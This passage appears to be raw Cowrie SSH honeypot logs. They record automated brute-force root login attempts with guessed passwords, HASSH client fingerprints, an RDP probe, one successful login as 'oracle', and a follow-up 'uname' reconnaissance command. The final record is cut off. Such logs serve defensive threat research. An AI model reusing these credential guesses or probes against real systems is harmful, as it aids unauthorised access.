{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:01.068007Z","src_ip":"103.96.74.162","session":"d8b17477c7cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloud1234","message":"login attempt [root/cloud1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:01.712330Z","src_ip":"103.96.74.162","session":"d8b17477c7cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:02.935121Z","src_ip":"103.96.74.162","session":"d8b17477c7cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":33858,"dst_ip":"159.203.135.109","dst_port":22,"session":"295d62204933","protocol":"ssh","message":"New connection: 43.134.112.237:33858 (159.203.135.109:22) [session: 295d62204933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:07.453229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:07.461720Z","src_ip":"43.134.112.237","session":"295d62204933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:07.691785Z","src_ip":"43.134.112.237","session":"295d62204933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jingjing","message":"login attempt [root/jingjing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:08.639470Z","src_ip":"43.134.112.237","session":"295d62204933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:09.873077Z","src_ip":"43.134.112.237","session":"295d62204933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":42606,"dst_ip":"159.203.135.109","dst_port":22,"session":"82dd1658ba43","protocol":"ssh","message":"New connection: 193.32.162.151:42606 (159.203.135.109:22) [session: 82dd1658ba43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:27.874713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:27.880014Z","src_ip":"193.32.162.151","session":"82dd1658ba43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:27.984822Z","src_ip":"193.32.162.151","session":"82dd1658ba43","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:28.300645Z","src_ip":"193.32.162.151","session":"82dd1658ba43","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:28.568896Z","src_ip":"193.32.162.151","session":"82dd1658ba43","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:28.572839Z","src_ip":"193.32.162.151","session":"82dd1658ba43","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:28.683769Z","src_ip":"193.32.162.151","session":"82dd1658ba43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:28.688954Z","src_ip":"193.32.162.151","session":"82dd1658ba43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":41644,"dst_ip":"10.17.0.5","dst_port":22,"session":"da48067567c0","protocol":"ssh","message":"New connection: 168.144.95.137:41644 (10.17.0.5:22) [session: da48067567c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:04.551240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:04.558159Z","src_ip":"168.144.95.137","session":"da48067567c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:04.777724Z","src_ip":"168.144.95.137","session":"da48067567c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2033","message":"login attempt [root/2033] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:05.661914Z","src_ip":"168.144.95.137","session":"da48067567c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:06.878303Z","src_ip":"168.144.95.137","session":"da48067567c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":33040,"dst_ip":"10.17.0.5","dst_port":22,"session":"53a109a17bf3","protocol":"ssh","message":"New connection: 103.149.28.157:33040 (10.17.0.5:22) [session: 53a109a17bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:21.448042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:21.452752Z","src_ip":"103.149.28.157","session":"53a109a17bf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:21.710871Z","src_ip":"103.149.28.157","session":"53a109a17bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"butterfly","message":"login attempt [root/butterfly] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:22.724096Z","src_ip":"103.149.28.157","session":"53a109a17bf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:23.982182Z","src_ip":"103.149.28.157","session":"53a109a17bf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":46198,"dst_ip":"10.17.0.5","dst_port":22,"session":"e96975bfc40c","protocol":"ssh","message":"New connection: 103.96.74.162:46198 (10.17.0.5:22) [session: e96975bfc40c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:27.799486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:27.806065Z","src_ip":"103.96.74.162","session":"e96975bfc40c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:28.023397Z","src_ip":"103.96.74.162","session":"e96975bfc40c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"juned","message":"login attempt [root/juned] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:28.920245Z","src_ip":"103.96.74.162","session":"e96975bfc40c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:30.148457Z","src_ip":"103.96.74.162","session":"e96975bfc40c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58932,"dst_ip":"159.203.135.109","dst_port":22,"session":"061bbd05a35a","protocol":"ssh","message":"New connection: 103.176.20.57:58932 (159.203.135.109:22) [session: 061bbd05a35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:48.072036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:48.084365Z","src_ip":"103.176.20.57","session":"061bbd05a35a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:48.346537Z","src_ip":"103.176.20.57","session":"061bbd05a35a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwedcxzas","message":"login attempt [root/qwedcxzas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:49.101725Z","src_ip":"103.176.20.57","session":"061bbd05a35a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:50.356007Z","src_ip":"103.176.20.57","session":"061bbd05a35a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51339,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ae8dff6f8d7","protocol":"ssh","message":"New connection: 152.42.212.128:51339 (159.203.135.109:22) [session: 9ae8dff6f8d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:50.837606Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:50.842311Z","src_ip":"152.42.212.128","session":"9ae8dff6f8d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:55:50.844907Z","src_ip":"152.42.212.128","session":"9ae8dff6f8d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":59378,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0fdd760892a","protocol":"ssh","message":"New connection: 79.127.181.44:59378 (10.17.0.5:22) [session: f0fdd760892a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:03.531624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:03.730472Z","src_ip":"79.127.181.44","session":"f0fdd760892a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:03.923818Z","src_ip":"79.127.181.44","session":"f0fdd760892a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:03.929407Z","src_ip":"79.127.181.44","session":"f0fdd760892a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":59674,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b6a7cfc193b","protocol":"ssh","message":"New connection: 168.144.95.137:59674 (10.17.0.5:22) [session: 2b6a7cfc193b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:24.863209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:24.868112Z","src_ip":"168.144.95.137","session":"2b6a7cfc193b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","s